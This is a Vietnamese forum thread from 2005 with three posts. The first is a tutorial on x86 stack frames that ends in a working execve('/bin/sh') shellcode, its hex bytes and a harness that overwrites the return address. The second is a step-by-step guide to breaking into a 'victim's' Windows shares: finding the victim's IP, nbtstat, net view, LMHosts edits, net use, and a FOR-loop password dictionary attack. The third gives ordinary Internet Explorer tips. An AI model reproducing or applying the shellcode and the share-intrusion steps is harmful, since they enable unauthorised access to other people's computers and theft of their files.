Cũng giống như bước khởi đầu, bước này cũng chuẩn bị môi trường cho phép nơi gọi hàm truyền các tham số cho hàm được gọi và trở về lại nơi gọi hàm khi kết thúc.

Hình 2: Gọi hàm

Trước khi gọi hàm các tham số sẽ được đặt vào stack, theo thứ tự ngược lại, tham số cuối cùng sẽ được đặt vào trước. Trong ví dụ trên, trước tiên các giá trị 1 và 2 sẽ được đặt vào stack. Thanh ghi %eip giữ giá trị địa chỉ của lệnh kế tiếp, trong trường hợp này là chỉ thị gọi hàm.


Khi thực hiện lệnh call, %eip sẽ lấy giá trị địa chỉ của kế tiếp ngay sau gọi hàm (trên hình vẽ, giá trị này là Z+5 do lệnh gọi hàm chiếm 5 byte theo hiện thực của CPU Intel x86). Lệnh call sau đó sẽ lưu lại giá trị của %eip để có thể tiếp tục thực thi sau khi trở về. Quá trình này được thực hiện bằng một lệnh ngầm (không tường minh) đặt %eip lên stack:

push %eip

Giá trị lưu trên stack này được gọi là **** trỏ lệnh bảo lưu" (SIP – save instruction pointer), hay "địa chỉ trả về" (RET – return address).



Giá trị được truyền như một tham số cho lệnh call chính là địa chỉ của lệnh khởi đầu (prolog) đầu tiên của hàm toto(). Giá trị này sẽ được chép vào %eip và trở thành lệnh được thực thi tiếp theo.




Lưu ý rằng khi ở bên trong một hàm, các tham số và địa chỉ trả về có độ dời dương (+) so với con trỏ nền %ebp. Lệnh máy thực hiện phép gán j=0 minh hoạ điều này. Mã hợp ngữ sử dụng định vị gián tiếp để truy xuất biến j:



movl $0x0,0xc(%ebp)

0xc có giá trị số nguyên bằng 12. Lệnh trên có nghĩa: đặt giá trị 0 vào biến ở địa chỉ có độ dời “+12” byte so với %ebp. j là tham số thứ 2 của hàm toto() và có địa chỉ cách 12 byte ngay trên %ebp (4 cho RET, 4 cho tham số đầu tiên và 4 cho tham số thứ 2).

2.4 Kết thúc
Thoát khỏi một hàm được thực hiện trong 2 bước. Trước tiên, môi trường tạo ra cho hàm thực thi cần được "dọn dẹp" (nghĩa là khôi phục giá trị cho %ebp và %eip). Sau đó, chúng ta phải kiểm tra stack để lấy các thông tin liên quan đến hàm vừa thoát ra.



Bước thứ nhất được thực hiện trong bên trong hàm với 2 lệnh:



leave
ret

Bước kế tiếp được thực hiện nơi gọi hàm sẽ "dọn dẹp" vùng stack dùng chứa các tham số của hàm được gọi.

Chúng ta sẽ tiếp tục ví dụ trên với hàm toto().

Hình 3: Trở về

Ở đây chúng ta mô tả lại đầy đủ hơn tình huống ban đầu, trước lệnh call và bước khởi đầu (prolog). Trước khi lệnh call xảy ra, %ebp ở địa chỉ X và %esp ở địa chỉ Y trên stack. Bắt đầu từ Y, chúng ta sẽ cấp phát các vùng nhớ dành cho tham số, giá trị bảo lưu của %eip và %ebp, và vùng nhớ dành cho các biến cục bộ của hàm. Lệnh sẽ được thực thi kế tiếp là leave, lệnh này tương đương với 2 lệnh sau:

mov %ebp, %esp
pop %ebp



Lệnh đầu tiên sẽ đưa %esp và %ebp trỏ đến cùng vị trí hiện tại của %ebp. Lệnh thứ hai lấy ra giá trị trên đỉnh stack đặt vào thanh ghi %ebp. Ta thấy, sau lệnh leave, stack trở lại trạng thái như trước khi xảy ra bước khởi đầu (prolog).


Lệnh ret sẽ khôi phục giá trị %eip để nơi gọi hàm trở lại tiếp tục thực thi lệnh kế, là lệnh ngay sau hàm vừa thoát ra. Để làm điều này, giá trị ngay trên đỉnh stack sẽ được lấy ra đặt vào thanh ghi %eip.

Chúng ta vẫn chưa trở lại được tình trạng ban đầu do các tham số truyền cho hàm vẫn còn chưa được dọn khỏi stack. Chúng sẽ được xoá đi trong lệnh kế tiếp ở địa chỉ Z+5 được lưu trong %eip.


Việc cấp phát và thu hồi vùng stack của các tham số hàm được thực hiện nơi gọi hàm. Điều này được minh hoạ trên hình bên với lệnh:

add 0x8, %esp

Lệnh này sẽ dời %esp từ đỉnh stack với số byte bằng số byte được cấp cho các tham số của hàm toto(). Thanh ghi %ebp và %esp lúc này giống với tình trạng trước khi lệnh gọi xảy ra. Tuy nhiên giá trị của thanh ghi %eip đã được chuyển đến lệnh kế tiếp.




Biên dịch và giải hợp ngữ chương trình minh hoạ trên với gdb để xem mã hợp ngữ tương ứng với các bước đã trình bày.

[SkZ0@gamma bof]$ gcc -g -o fct fct.c
[SkZ0@gamma bof]$ gdb fct -q
(gdb)disassemble main //hàm main
Dump of assembler code for function main:

0x80483e0 : push %ebp //bước khởi đầu - prolog
0x80483e1 : mov %esp,%ebp
0x80483e3 : sub $0x4,%esp

0x80483e6 : movl $0x1,0xfffffffc(%ebp)

0x80483ed : push $0x2 //gọi hàm - call
0x80483ef : push $0x1
0x80483f1 : call 0x80483b4


0x80483f6 : add $0x8,%esp //trở về từ hàm toto()

0x80483f9 : movl $0x0,0xfffffffc(%ebp)
0x8048400 : mov 0xfffffffc(%ebp),%eax

0x8048403 : push %eax //gọi hàm - call
0x8048404 : push $0x804846e
0x8048409 : call 0x8048308


0x804840e : add $0x8,%esp //trở về từ hàm printf()
0x8048411 : leave //trở về từ hàm main()
0x8048412 : ret

0x8048413 : nop
End of assembler dump.
(gdb) disassemble toto //hàm toto
Dump of assembler code for function toto:

0x80483b4 : push %ebp //bước khởi đầu - prolog
0x80483b5 : mov %esp,%ebp
0x80483b7 : sub $0xc,%esp

0x80483ba : mov 0x8048468,%eax
0x80483bf : mov %eax,0xfffffff8(%ebp)
0x80483c2 : mov 0x804846c,%al
0x80483c8 : mov %al,0xfffffffc(%ebp)
0x80483cb : movl $0x3,0xfffffff4(%ebp)
0x80483d2 : movl $0x0,0xc(%ebp)
0x80483d9 : jmp 0x80483dc
0x80483db : nop

0x80483dc : leave //trở về từ hàm toto()
0x80483dd : ret

0x80483de : mov %esi,%esi
End of assembler dump.
(gdb)



3. Shellcode
Khi tràn bộ đệm xảy ra, ta có thể thao tác trên stack, ghi đè giá trị trả về RET và khiến chương trình thực thi mã lệnh bất kỳ. Thông thường và đơn giản nhất là khiến chương trình thực thi một đoạn mã để chạy một giao tiếp dòng lệnh shell. Vì sẽ được chèn trực tiếp vào giữa bộ nhớ chương trình để thực thi tiếp nên đoạn mã này phải được viết ở dạng hợp ngữ. Những đoạn mã chương trình kiểu này thường được gọi là shellcode.

3.1 Viết shellcode trong ngôn ngữ C
Mục đích của shellcode là để thực thi một giao tiếp dòng lệnh shell. Trước tiên hãy viết ở ngôn ngữ C:

/* shellcode.c */
#include
#include

int main()
{
char * name[] = {"/bin/sh", NULL};
execve(name[0], name, NULL);
_exit (0);
}

Trong số các hàm dạng exec() được dùng để gọi thực thi một chương trình khác, execve() là hàm nên dùng. Lý do: execve() là hàm hệ thống (system-call) khác với các hàm exec() khác được hiện thực trong libc (và do đó cũng được hiện thực dựa trên execve()). Hàm hệ thống được thực hiện thông qua gọi ngắt với các giá trị tham số đặt trong thanh ghi định trước, do đó mã hợp ngữ tạo ra sẽ ngắn gọn.

Hơn nữa, nếu gọi execve() thành công, chương trình gọi sẽ được thay thế bởi chương trình được gọi và xem như mới bắt đầu quá trình thực thi. Nếu gọi execve() không thành công, chương trình gọi sẽ tiếp tục quá trình thực thi. Khi khai thác lỗ hổng, đoạn mã shellcode sẽ được chèn vào giữa quá trình thực thi của chương trình bị lỗi. Sau khi đã chạy các mã lệnh theo ý muốn, việc tiếp tục quá trình thực thi của chương trình là không cần thiết và đôi khi gây ra những kết quả ngoài ý muốn do nội dung của stack đã bị làm thay đổi. Vì vậy, quá trình thực thi cần được kết thúc ngay khi có thể. Ở đây chúng ta sử dụng _exit() để kết thúc thay vì dùng exit() là hàm thư viện libc được hiện thực dựa trên hàm hệ thống _exit().

Hãy ghi nhớ các tham số để truyền cho hàm execve() trên:

chuỗi /bin/sh

địa chỉ của mảng tham số (kết thúc bằng con trỏ NULL)

địa chỉ của mảng biến môi trường (ở đây là con trỏ NULL)

3.2 Giải mã hợp ngữ các hàm
Biên dịch shellcode.c với option debug và static để tích hợp các hàm được liên kết qua thư viện động vào trong chương trình.

[SkZ0@gamma bof]$ gcc -o shellcode shellcode.c -O2 -g --static

Bây giờ hãy xem xét mã hợp ngữ của hàm main() bằng gdb.



[SkZ0@gamma bof]$ gdb shellcode -q
(gdb) disassemble main
Dump of assembler code for function main:
0x804818c : push %ebp
0x804818d : mov %esp,%ebp
0x804818f : sub $0x8,%esp
0x8048192 : movl $0x0,0xfffffff8(%ebp)
0x8048199 : movl $0x0,0xfffffffc(%ebp)
0x80481a0 : mov $0x806f388,%edx
0x80481a5 : mov %edx,0xfffffff8(%ebp)
0x80481a8 : push $0x0
0x80481aa : lea 0xfffffff8(%ebp),%eax
0x80481ad : push %eax
0x80481ae : push %edx
0x80481af : call 0x804c6ec <__execve>
0x80481b4 : push $0x0
0x80481b6 : call 0x804c6d0 <_exit>
End of assembler dump.
(gdb)

Để ý lệnh sau:

0x80481a0 : mov $0x806f388,%edx

Lệnh này chuyển một giá trị địa chỉ nhớ vào thanh ghi %edx.

(gdb) printf "%s\n", 0x806f388
/bin/sh
(gdb)

Như vậy địa chỉ chuỗi "/bin/sh" sẽ được đặt vào thanh ghi %edx. Trước khi gọi các hàm thấp hơn của thư viện C hiện thực hàm hệ thống execve() các tham số được đặt vào stack theo thứ tự:

con trỏ NULL

0x80481a8 : push $0x0

địa chỉ của mảng tham số



0x80481aa : lea 0xfffffff8(%ebp),%eax
0x80481ad : push %eax

địa chỉ của chuỗi /bin/sh

0x80481ae : push %edx

Hãy xem các hàm execve() và _exit()



(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x804c6ec <__execve>: push %ebp
0x804c6ed <__execve+1>: mov %esp,%ebp
0x804c6ef <__execve+3>: push %edi
0x804c6f0 <__execve+4>: push %ebx
0x804c6f1 <__execve+5>: mov 0x8(%ebp),%edi
0x804c6f4 <__execve+8>: mov $0x0,%eax
0x804c6f9 <__execve+13>: test %eax,%eax
0x804c6fb <__execve+15>: je 0x804c702 <__execve+22>
0x804c6fd <__execve+17>: call 0x0
0x804c702 <__execve+22>: mov 0xc(%ebp),%ecx
0x804c705 <__execve+25>: mov 0x10(%ebp),%edx
0x804c708 <__execve+28>: push %ebx
0x804c709 <__execve+29>: mov %edi,%ebx
0x804c70b <__execve+31>: mov $0xb,%eax
0x804c710 <__execve+36>: int $0x80
0x804c712 <__execve+38>: pop %ebx
0x804c713 <__execve+39>: mov %eax,%ebx
0x804c715 <__execve+41>: cmp $0xfffff000,%ebx
0x804c71b <__execve+47>: jbe 0x804c72b <__execve+63>
0x804c71d <__execve+49>: call 0x80482b8 <__errno_location>
0x804c722 <__execve+54>: neg %ebx
0x804c724 <__execve+56>: mov %ebx,(%eax)
0x804c726 <__execve+58>: mov $0xffffffff,%ebx
0x804c72b <__execve+63>: mov %ebx,%eax
0x804c72d <__execve+65>: lea 0xfffffff8(%ebp),%esp
0x804c730 <__execve+68>: pop %ebx
0x804c731 <__execve+69>: pop %edi
0x804c732 <__execve+70>: leave
0x804c733 <__execve+71>: ret
End of assembler dump.
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x804c6d0 <_exit>: mov %ebx,%edx
0x804c6d2 <_exit+2>: mov 0x4(%esp,1),%ebx
0x804c6d6 <_exit+6>: mov $0x1,%eax
0x804c6db <_exit+11>: int $0x80
0x804c6dd <_exit+13>: mov %edx,%ebx
0x804c6df <_exit+15>: cmp $0xfffff001,%eax
0x804c6e4 <_exit+20>: jae 0x804ca80 <__syscall_error>
End of assembler dump.
(gdb) quit

Hệ điều hành sẽ thực hiện một lệnh call bằng cách gọi ngắt 0x80, ở các địa chỉ 0x804c710 cho execve() và 0x804c6db cho _exit(). Các địa chỉ này thường không giống nhau đối với mỗi hàm hệ thống, đặc điểm để phân biệt chính là nội dung thanh ghi %eax. Xem ở trên, giá trị này là 0xb với execve() trong khi _exit() là 0x1.

Hình 4: Hàm execve và tham số



Phân tích mã hợp ngữ trên chúng ta rút ra một số kết luận sau:

trước khi gọi thực thi hàm __execve() bằng gọi ngắt 0x80:

thanh ghi %edx giữ giá trị địa chỉ của mảng biến môi trường:

0x804c705 <__execve+25>: mov 0x10(%ebp),%edx

Để đơn giản, chúng ta sẽ sử dụng biến môi trường rỗng bằng cách gán giá trị này bằng một con trỏ NULL.

thanh ghi %ecx giữ giá trị địa chỉ của mảng tham số

0x804c702 <__execve+22>: mov 0xc(%ebp),%ecx

Tham số đầu tiên phải là tên của chương trình, ở đây dơn giản chỉ là một mảng dùng để chứa địa chỉ của chuỗi "/bin/sh" và kết thúc bằng một con trỏ NULL.

thanh ghi %ebx giữ địa chỉ của chuỗi tên chương trình cần thực thi, trong trường hợp này là "/bin/sh"

0x804c6f1 <__execve+5>: mov 0x8(%ebp),%edi
...
0x804c709 <__execve+29>: mov %edi,%ebx



hàm _exit(): kết thúc quá trình thực thi, mã kết quả trả về cho quá trình cha (thường là shell) được lưu trong thanh ghi %ebx

0x804c6d2 <_exit+2>: mov 0x4(%esp,1),%ebx

Để hoàn tất việc tạo mã hợp ngữ, chúng ta cần một nơi chứa chuỗi "/bin/sh", một con trỏ đến chuỗi này và một con trỏ NULL (để kết thúc mảng tham số, đồng thời là con trỏ biến môi trường). Những dữ liệu trên phải được chuẩn bị trước khi thực thiện gọi execve().

3.3 Định vị shellcode trên bộ nhớ
Thông thường shellcode sẽ được chèn vào chương trình bị lỗi thông qua tham số dòng lệnh, biến môi trường hay chuỗi nhập từ bàn phím/file. Dù bằng cách nào thì khi tạo shellcode chúng ta cũng không thể biết được địa chỉ của nó. Không những thế chúng ta còn buộc phải biết trước địa chỉ chuỗi "/bin/sh". Tuy nhiên, bằng một số thủ thuật chúng ta có thể giải quyết được trở ngại đó. Có hai cách để định vị shellcode trên bộ nhớ, tất cả đều thông qua định vị gián tiếp để đảm bảo tính độc lập. Để đơn giản, ở đây chúng ta sẽ trình bày cách định vị shellcode dùng stack.

Để chuẩn bị mảng tham số và con trỏ biến môi trường cho hàm execve(), chúng ta sẽ đặt trực tiếp chuỗi "/bin/sh", con trỏ NULL lên stack và xác định địa chỉ thông qua giá trị thanh ghi %esp. Mã hợp ngữ sẽ có dạng sau:

beginning_of_shellcode:
pushl $0x0 // giá trị null kết thúc chuỗi /bin/sh
pushl "/bin/sh" // chuỗi /bin/sh
movl %esp,%ebx // %ebx chứa địa chỉ /bin/sh
push NULL // con trỏ NULL của mảng tham số
...
(mã hợp ngữ của shellcode)

3.4 Vấn đề byte giá trị null
Các hàm bị lỗi thường là các hàm xử lý chuỗi như strcpy(), scanf(). Để chèn được mã lệnh vào giữa chương trình, shellcode phải được chép vào dưới dạng một chuỗi. Tuy nhiên, các hàm xử lý chuỗi sẽ hoàn tất ngay khi gặp một ký tự null (\0). Do đó, shellcode của chúng ta phải không được chứa bất kỳ giá trị null nào. Ta sẽ sử dụng một số thủ thuật để loại bỏ giá trị null, ví dụ lệnh:

push $0x00

Sẽ được thay thế tương đương bằng:

xorl %eax, %eax
push %eax

Đó là cách xử lý các null byte trực tiếp. Giá trị null còn phát sinh khi chuyển các mã lệnh sang dạng hexa. Ví dụ, lệnh chuyển giá trị 0x1 vào thanh ghi %eax để gọi _exit():

0x804c6d6 <_exit+6>: mov $0x1,%eax

Chuyển sang dạng hexa sẽ thành chuỗi:

b8 01 00 00 00 mov $0x1,%eax

Thủ thuật sử dụng là khởi tạo giá trị cho %eax bằng một thanh ghi có giá trị 0, sau đó tăng nó lên 1 (hoặc cũng có thể dùng lệnh movb thao tác trên 1 byte thấp của %eax)

31 c0 xor %eax,%eax
40 inc %eax

3.5 Tạo shellcode
Chúng ta đã có đầy đủ những gì cần thiết để tạo shellcode. Chương trình tạo shellcode:

/* shellcode_asm.c */
int main()
{
asm("
/* push giá trị null kết thúc /bin/sh vào stack */
xorl %eax,%eax
pushl %eax
/* push chuỗi /bin/sh vào stack */
pushl $0x68732f2f /* chuỗi //sh, độ dài 1 word */
pushl $0x6e69622f /* chuỗi /bin */
/* %ebx chứa địa chỉ chuỗi /bin/sh */
movl %esp, %ebx
/* push con trỏ NULL, phần tử thứ hai của mảng tham số */
pushl %eax
/* push địa chỉ của /bin/sh, phần tử thứ hai của mảng tham số */
pushl %ebx
/* %ecx chứa địa chỉ mảng tham số */
movl %esp,%ecx
/* %edx chứa địa chỉ mảng biến môi trường, con trỏ NULL */
/* có thể dùng lệnh tương đương cdq, ngắn hơn 1 byte */
movl %eax, %edx
/* Hàm execve(): %eax = 0xb */
movb $0xb,%al
/* Gọi hàm */
int $0x80

/* Giá trị trả về 0 cho hàm _exit() */
xorl %ebx,%ebx
/* Hàm _exit(): %eax = 0x1 */
movl %ebx,%eax
inc %eax
/* Gọi hàm */
int $0x80
");
}

Dịch shellcode trên và dump ở dạng hợp ngữ:

[SkZ0@gamma bof]$ gcc -o shellcode_asm shellcode_asm.c
[SkZ0@gamma bof]$ objdump -d shellcode_asm | grep \: -A 17
08048380 :
8048380: 55 pushl %ebp
8048381: 89 e5 movl %esp,%ebp
8048383: 31 c0 xorl %eax,%eax
8048385: 50 pushl %eax
8048386: 68 2f 2f 73 68 pushl $0x68732f2f
804838b: 68 2f 62 69 6e pushl $0x6e69622f
8048390: 89 e3 movl %esp,%ebx
8048392: 50 pushl %eax
8048393: 53 pushl %ebx
8048394: 89 e1 movl %esp,%ecx
8048396: 89 c2 movl %eax,%edx
8048398: b0 0b movb $0xb,%al
804839a: cd 80 int $0x80
804839c: 31 db xorl %ebx,%ebx
804839e: 31 c0 xorl %eax,%eax
80483a0: 40 incl %eax
80483a1: cd 80 int $0x80

Hãy chạy thử shellcode trên:

/* testsc.c */
char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\xc0\x40\xcd\x80";

int main()
{
int * ret;

/* ghi đè giá trị bảo lưu %eip trên stack bằng địa chỉ shellcode */
/* khoảng cách so với biến ret là 8 byte (2 word): */
/* - 4 byte cho biến ret */
/* - 4 byte cho giá trị bảo lưu %ebp */
* ((int *) & ret + 2) = (int) shellcode;
return (0);
}

Chạy thử chương trình testsc:

[SkZ0@gamma bof]$ gcc testsc.c -o testsc
[SkZ0@gamma bof]$ ./testsc
bash$ exit
[SkZ0@gamma bof]$

Ta có thể thêm vào các hàm để mở rộng tính năng của shellcode, thực hiện các thao tác cần thiết khác trước khi gọi "/bin/sh" như setuid(), setgid(), chroot(),... bằng cách chèn mã hợp ngữ của các hàm này vào trước đoạn shellcode trên.

Có thể thấy ở ví dụ chạy thử shellcode ý tưởng cơ bản để khai thác lỗi tràn bộ đệm, chi tiết sẽ được trình bày trong phần tiếp theo.

tk_nam
15-11-2005, 06:58 PM
TCP 135 RPC/DCE Endpoint mapper
UDP 137 NetBIOS Name Service
UDP 138 NetBIOS Datagram Service
TCP 139 NetBIOS Sesion Service ( SMB/CIFS over NetBIOS
TCP/UDP 445 Direct Host
( SMB - Server Mesage Block
CIFS - Common Internet File System )
Mặc định thì Windows 9.x ( 95,98,98se ), NT4 và Windows2000 sẽ lắng nghe trên cổng 139, nhưng Windows 9.x không lắng nghe trên cổng TCP/UDP 135 ( => chính vì điều này mà đợt vừa qua khi phát hiện ra lỗi RPC , Virus Blaster không gây ảnh hưởng gì cho các máy tính đang chạy Windows 9.x ) Windows 2000 và XP cũng lắng nghe trên các cổng TCP/UDP 445
=> Dựa vào các hiểu biết này và các lệnh của Windows ( các lệnh này thường nằm trong C:\Windows\system32 - hoặc WinNT \ system32 ) người ta có thể truy nhập vào các máy tinh khác trong mạng

Tìm kiếm IP của victim

Nhắc lại một tý về IP : IP là một số xác định được gán cho mỗi máy tính trong một mạng nào đó.
IP được biểu diễn là một số 32 bit, các bit đựơc chia thành 4 phần mỗi phần 8 bit ( 1 byte ). Có 3 cách để biểu diễn cho một địa chỉ IP
Dạng thập phân ( dạng hay dùng nhất ) Ví dụ : 130.57.30.56
Dạng nhị phân : 10000010.00111001.00011110.00111000
Dạng Hexadecimal 82 39 1E 38
Trong mỗi địa chỉ IP bao giờ cũng có hai phần là địa chỉ mạng ( Networrk Address ) và địa chỉ máy ( Node Address ). Các máy tính trong một mạng bao giờ cũng có cùng một địa chỉ mạng
( Các bạn có thể tìm thấy bài viết chi tiết về địa chỉ IP trên HVA portal )
Để biết địa chỉ IP của mình bạn có thể dùng lệnh trong windows để xem :
1- Nếu bạn đang dùng Windows 9,x :
Bấm vào Start \ run sau đó đánh vào lệnh command rồi bấm OK ( Để chạy ra màn hình DOS - DOS shell )
Tại dấu nhắc của lệnh DOS đánh vào lệnh IPCONFIG ( hoặc IPCONFIG / ALL )
Nếu bạn dùng Win98 có thể sử dụng Start \run rồi đánh vào lệnh WINIPCFG cũng cho kết quả tương tự
2- Nếu bạn dùng Win2000, XP ...
Bấm vào Start \ run sau đó đánh vào lệnh cmd rồi bấm OK ( Để chạy ra màn hình DOS - DOS shell )
Tại dấu nhắc của lệnh DOS đánh vào lệnh IPCONFIG ( hoặc IPCONFIG / ALL )
Bạn chú ý nhìn dòng IP Address rồi nhìn sang bên phải thấy một số có dạng xxxx.xxxx.xxx.xxx <= đó chính là địa chỉ IP của bạn khi bạn vào mạng
Công việc tìm kiếm IP và xem nó có mở cổng không của victim thường mất rất nhiều thời gian - Người ta có thể dùng một số Tool để thực hiện việc tìm kiếm cho nhanh ( và đỡ tốn tiền Net ) như NetScanPro2000, hay Esential NetTools ( ET3 ), IP Tool ...
- Bài hướng dẫn về cách sử dụng và nơi Download cũng có trên 4rum - Các bạn có thể vào mục đồ nghề để tìm

Nếu bạn đang sử dụng ICQ để chát với victim bạn có thể sử dụng lệnh netstat -n ( lệnh này sẽ cho ta biết các kết nối đựơc thiết lập giữa máy của ta và bên ngoài và qua các cổng nào ) để biết IP của victim.
Ví dụ sau khi chạy lệnh netstat -n ta sẽ nhận đựơc bảng sau :
Active Connections
Proto Local Address Foreign Address State
TCP 192.168.0.1:3537 203.195.136.156:2869 Established
........................................................................................................................................................................................
Bạn chú ý nhìn ở dưới dòng chữ Foreign Address số 203.195.136.156 <= Đó là địa chỉ IP của victim, còn số 2869 chính là cổng kết nối
Chữ Established => báo cho bạn biết một kết nối đã được thiết lập giữa máy tính của bạn và victim.
Còn nếu bạn sử dụng MSN hay YH, nếu sử dụng lệnh netstat - n có thể bạn không nhìn thấy IP của victim mà có thể là địa chỉ của Server của MSN hay YH
Để xác định chính xác bạn có thể sử dụng Send File của YH để gửi một file tới victim. Trước khi Send File, sử dụng lệnh netstat -n để xác định các kết nối đã có
trong khi đang Send file bạn lại sưe dụng lệnh netstat -n +> sau đó tìm địa chỉ IP nào mà mới được thiết lập => đó chình là dịa chỉ IP của Victim ( vì khi Send file nó se thiết lập một kết nối trực tiếp giữa máy bạn và victim )

Sau khi đã có địa chỉ IP của victim bạn sử dụng lênh nbtstat -a ipAddress ( lệnh này dùng để xác đinh một số thông tin trên máy victim ... )
Ví dụ : C:> nbtstat - a 203.210.136.23 ( <= Đây là địa chỉ mô phỏng thôi đấy nhé - đừng thử )
Bạn có thể nhận được các dòng như sau
NetBIOS remote Machine Name Table
Name Type Status
may1 <00> Unique Registered
netde<00> Group Registered
may1 <03> Unique Registered
may1 <20> Unique Registered
...............................
MAC address 00-32-04-14-23-E6
Ở đây bạn chú ý đến số <20> => Nếu thấy số này có nghĩa là máy victim đã bật chế độ chia sẻ File và máy in ( File And Printer Sharing )
Tiếp theo ta sử dụng lệnh net view \\ipaddress ( lệnh này dùng để xem máy vic tim chia sẻ những cái gì để còn .... )
Ví dụ : C:> net view \\203.210.136.23
Bạn có thể thấy các dòng tương tự như ở dưới đây :
Shared resource at \\203.210.136.23
Share name Type User As Comment
C Disk
D Disk
IPC$ Disk
.........................................................................
The command complete succesfully
=D> Đến đây bạn vào tìm file LMHost - nếu không có thì tạo ra ( Nếu bạn sử dụng window98 thì nó nằm ngay trong thư mục windows, nếu là XP thì trong thư mục Windows\System32\Drivers \etc còn Win2000 thì nằm trong WinNT\System32\Drivers \etc )
Lạm bàn về LMHost : Ngày trước tên máy và địa chỉ IP được lưu vào trong đó - Nó được dùng để phân giải tên máy và địa chỉ IP ( Name - to - Address )
File này được cập nhật và quản lý bởi SRI - NIC ( Standford Research Institute Network Information Center ), vài tuần một lần tổ chức này lại cập nhật lại nội dung File này
Ngày trước các Admin của mạng thường Download về Server của mình. Dần dần số lượng của các trang Web trên Net ngày càng nhiều => cách sử dụng này trở nên thiếu hiệu quả và mất thời gian => DNS ra đời ...
( Cũng có bài viết chi tiết về DNS trên HVA portal )
Sau đó bạn thêm vào trong File này theo cú pháp sau :
ipAddressvictim tênmáy #PRE

Ví dụ ở đây tôi thêm vào dòng : 203.210.136.23 MAY1 #PRE trong File LMHost
rồi chạy lệnh nbtstat -R để nạp lại table cache
Bây giờ bạn có thể tạo thêm một ổ trên máy tính của mình và kết nối tới ở hay thư mục được Share trên máy tính của victim bằng cách sử dụng lênh Net use
Net use Tênổđĩa : \\ipAddressVictim\shareName
Ví dụ : Net use X: \\203.210.136.23\C
Nếu thấy dòng lệnh
The command was complete succesfully
Done, bấm đúp vào My Computer và xem thử xem có gì mới trong máy tính của ta không.
Để tránh nhầm lẫn khi ánh xạ ổ đĩa ta có thể sử dụng ký hiệu * thay cho tên ổ đĩa
net use * \\203.210.136.23\C

Thế nhưng nhiều khi cuộc đời không đẹp như mơ vì khi thực hiện đường truyền của bạn chậm hay vì máy victim đặt pass truy nhập. ...
Nếu máy victim sử dụng Windows95,98,98se hay Win me bạn có thể tạm dùng pass : PQWAK ( cái này giống như kiểu concat trên các Main đời cũ )
Thế thì còn máy tính dùng 2000 hay XP ... mà đặt pass và user thì làm thế nào => ta có thể xây dựng một từ điển để dò và sử dụng lệnh For của DOS để thực hiện
Vídụ tôi sẽ tạo ra một File có tên là DoPass.txt và có định dạng sau :
password username
password Administrator
"" Administrator
admin Administrator
............................................................

Và bấy giờ ta có thể sử dụng lệnh For
C:\FOR /F "token=1,2* " %i in (DoPass.txt ) Do net use \\IpAddressvictim\ShareName
( cú pháp sử dụng của lệnh FOR xin các bạn xem trong help của Windows )

tk_nam
15-11-2005, 06:59 PM
Internet Explorer là trình duyệt được tích hợp trong Windows. Chính vì lẽ đó, Internet Explorer vẫn thông dụng nhất hiện nay, mặc dù còn có rất nhiều trình duyệt hấp dẫn khác trên thị trường. Tuy nhiên, IE còn nhiều lỗ hổng bảo mật và cũng là mục tiêu tấn công của sâu, vi rút, hacker... Vì vậy, VietNamNet xin chia sẻ với bạn đọc thủ thuật giúp cho IE của bạn thân thiện và bảo mật hơn.

Quản lý lưu trữ mật khẩu của IE
Khi bạn nhập tên và mật khẩu vào một trang Web nào đó, Internet Explorer có thể sẽ hỏi bạn có muốn nhớ tên và mật khẩu này không. Nếu bạn trả lời Yes, IE sẽ tự động điền mật khẩu mỗi khi bạn nhập tên khi vào trang Web đó. Nếu bạn đánh dấu chọn Don't offer to remember any more passwords, và chọn Yes hoặc No, thì khung hội thoại này sẽ không hiện ra nữa. Để hiện lại khung hội thoại này, bạn hãy vào Tools -> Internet Options, chọn thẻ Content. Sau đó, bạn chọn vào nút AutoComplete, và đánh dấu chọn vào Prompt me to save passwords.

Để xóa mật khẩu này, bạn hãy đăng nhập vào trang Web và nhấn đúp chuột vào trường tên hoặc nhấn phím mũi tên xuống. Danh sách các tên đăng nhập AutoComplete sẽ hiện ra. Bạn hãy chọn tên và mật khẩu muốn xóa rồi nhấn phím Del.

Lưu trữ Favourites của riêng bạn

Để lưu trữ và di chuyển các mục Favorites của IE, bạn chọn File ->Import and Export. Một hộp thoại sẽ hiện ra giúp bạn thao tác dễ dàng, bạn chọn Export Favorites và nhấn Next. Tiếp đó, chọn thư mục Favorites tương ứng với thư mục nguồn và chọn Next. Tiếp theo, bạn chọn Export to a File or Address, bạn gõ tên tập tin sẽ lưu trữ toàn bộ danh sách Favourites, bạn chọn Next và sau đó nhấn nút Finish. Bây giờ, bạn đã có một tập tin HTML có chứa toàn bộ thư mục Favorites bao gồm: các menu con và các danh sách liên kết. Bạn có thể lưu trữ tập tin này vào đĩa, hoặc di chuyển tập tin, hoặc nhập khẩu (import) vào một máy khác, hoặc sử dụng các liên kết ngay trong tập tin HTML này.
Chia sẻ Favorites

Để tất cả người dùng trong hệ thống sử dụng Windows 2000/XP có thể chia sẻ thư mục Favorites, bạn cần chỉnh sửa Registry. Trước hết, bạn hãy xuất Favorites sang tập tin HTML. Bây giờ, bạn hãy đăng nhập vào tài khoản người dùng và bạn hãy mở Start -> Run, gõ Regedit, rồi duyệt tới khóa HKEY_CURRENT_USER\ Software\Microsoft\Windows\ CurrentVersion\Explorer\User Shell Folders. Bạn hãy tìm tới mục có tên Favorites thay đổi giá trị mặc định là %USERPROFILE%\Favorites thành %ALLUSERSPROFILE%\Favorites. Sau đó nhập khẩu toàn bộ thư mục Favorite vào cho mỗi người dùng.

Chặn Internet Options

